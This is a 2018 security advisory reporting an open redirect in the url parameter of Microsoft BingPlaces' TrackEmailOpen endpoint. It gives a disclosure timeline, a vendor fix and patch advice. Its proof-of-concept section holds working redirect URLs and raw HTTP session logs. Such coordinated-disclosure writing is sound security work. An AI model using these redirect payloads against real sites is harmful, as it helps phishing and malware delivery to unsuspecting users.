Microsoft BingPlaces - TrackEmailOpen (url) Open Redirect

Document Title:
===============
Microsoft BingPlaces - TrackEmailOpen (url) Open Redirect


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2167

MSRC ID: CRM:0461060024

Acknowledgements: https://technet.microsoft.com/en-us/security/cc308589

Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2018/11/16/microsoft-bingplaces-business-url-redirect-vulnerability


Release Date:
=============
2018-11-19


Vulnerability Laboratory ID (VL-ID):
====================================
2167


Common Vulnerability Scoring System:
====================================
3.1


Vulnerability Class:
====================
Redirect or Open Redirect


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Bing Places for Business is a bing portal that enables local business owners add a listing for their business on bing.

(Copy of the Homepage:  https://www.bingplaces.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a open redirect web vulnerability in the official Microsoft BingPlaces online service web-application.


Vulnerability Disclosure Timeline:
==================================
2018-08-01: Researcher Notification & Coordination (Security Researcher)
2018-08-02: Vendor Notification (MSRC - Security Department)
2018-08-27: Vendor Response/Feedback (MSRC - Security Department)
2018-11-11: Vendor Fix/Patch (Microsoft Service Developer Team)
2018-11-12: Security Acknowledgements (MSRC - Security Department)
2018-11-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: BingPlaces Business - Bing (Web-Application) 2018 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
An open redirect web vulnerability has been discovered in the official Microsoft BingPlaces Business online service web-application.
The issue allows remote attackers to redirect client-side requests to external malformed contents or malicious sources like webpages.

The open redirect security vulnerability is located in the `url` parameter of the `TrackEmailOpen` function in the `StatsTracker` module.
Remote attackers are able to redirect client-side GET method requests because of a non restricted url parameter. The attack vector of the 
vulnerability is non-persistent and the request method to execute is GET. The vulnerability is a classic open redirect web vulnerability.

Successful exploitation of the open redirect web vulnerability results in external redirects to malicious sources like phishing pages, 
spoofed url web contents or external malware pages.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] StatsTracker

Vulnerable Function(s):
[+] TrackEmailOpen

Vulnerable Parameter(s):
[+] url


Proof of Concept (PoC):
=======================
The open redirect web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Example
https://www.bingplaces.com/StatsTracker/TrackEmailOpen?&url=[External Redirect]

PoC: Exploitation
https://www.bingplaces.com/StatsTracker/TrackEmailOpen?&url=https%3A%2F%2Fwww.vulnerability-lab.com%2F
https://www.bingplaces.com/StatsTracker/TrackEmailOpen?&url=https%3A%2F%2Fwww.vulnerability-lab.com%2Ftest.js


--- PoC Sesson Logs (GET) ---
https://www.bingplaces.com/StatsTracker/TrackEmailOpen?&url=https%3A%2F%2Fwww.vulnerability-lab.com%2F
Host: www.bingplaces.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: ASP.NET_SessionId=sulxsx3e2sznpufzpogp4ywp; BingPlacesCulture=en-US
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://www.vulnerability-lab.com/
Server: Microsoft-IIS/8.5
X-AspNetMvc-Version: 5.2
X-AspNet-Version: 4.0.30319
X-Content-Type-Options: nosniff
X-Powered-By: ASP.NET
Date: Thu, 16 Aug 2018 07:42:17 GMT
Content-Length: 151
https://www.vulnerability-lab.com/
Host: www.vulnerability-lab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=kdsucolj3rarbg4qmois3tmr07
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Date: Thu, 16 Aug 2018 07:42:16 GMT
Content-Length: 96002


Reference(s):
https://www.bingplaces.com/
https://www.bingplaces.com/StatsTracker/
https://www.bingplaces.com/StatsTracker/TrackEmailOpen


Solution - Fix & Patch:
=======================
The open redirect vulnerability can be patched by a restriction to the url parameter requested contents in the TrackEmailOpen module.
Restrict the requests to local or whitelisted contents to deny external redirects.


Security Risk:
==============
The security risk of the open redirect vulnerability in the bingplaces online service web-application is estimated as medium.


Credits & Authors:
==================
Benjamin K.M. [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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